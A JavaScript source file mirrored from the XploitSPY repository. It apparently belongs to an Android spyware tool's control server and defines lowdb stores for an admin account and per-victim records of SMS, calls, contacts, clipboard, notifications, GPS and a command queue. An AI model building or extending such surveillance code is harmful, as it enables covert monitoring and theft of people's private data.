mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-12-30 01:25:38 +08:00
51 lines
1.1 KiB
JavaScript
51 lines
1.1 KiB
JavaScript
const
|
|
lowdb = require('lowdb'),
|
|
FileSync = require('lowdb/adapters/FileSync'),
|
|
path = require('path'),
|
|
adapter = new FileSync(path.join(__dirname, '../maindb.json')),
|
|
db = lowdb(adapter);
|
|
|
|
db.defaults({
|
|
admin: {
|
|
username: 'admin',
|
|
password: '',
|
|
loginToken: '',
|
|
logs: [],
|
|
ipLog: []
|
|
},
|
|
clients: []
|
|
}).write()
|
|
|
|
class clientdb {
|
|
constructor(clientID) {
|
|
let cdb = lowdb(new FileSync(path.join(__dirname, '../clientData/') + clientID + '.json'))
|
|
cdb.defaults({
|
|
clientID,
|
|
CommandQue: [],
|
|
SMSData: [],
|
|
CallData: [],
|
|
contacts: [],
|
|
wifiNow: [],
|
|
wifiLog: [],
|
|
clipboardLog: [],
|
|
notificationLog: [],
|
|
enabledPermissions: [],
|
|
apps: [],
|
|
GPSData: [],
|
|
GPSSettings: {
|
|
updateFrequency: 0
|
|
},
|
|
downloads: [],
|
|
currentFolder: []
|
|
}).write()
|
|
return cdb;
|
|
}
|
|
}
|
|
|
|
module.exports = {
|
|
maindb: db,
|
|
clientdb: clientdb,
|
|
};
|
|
|
|
|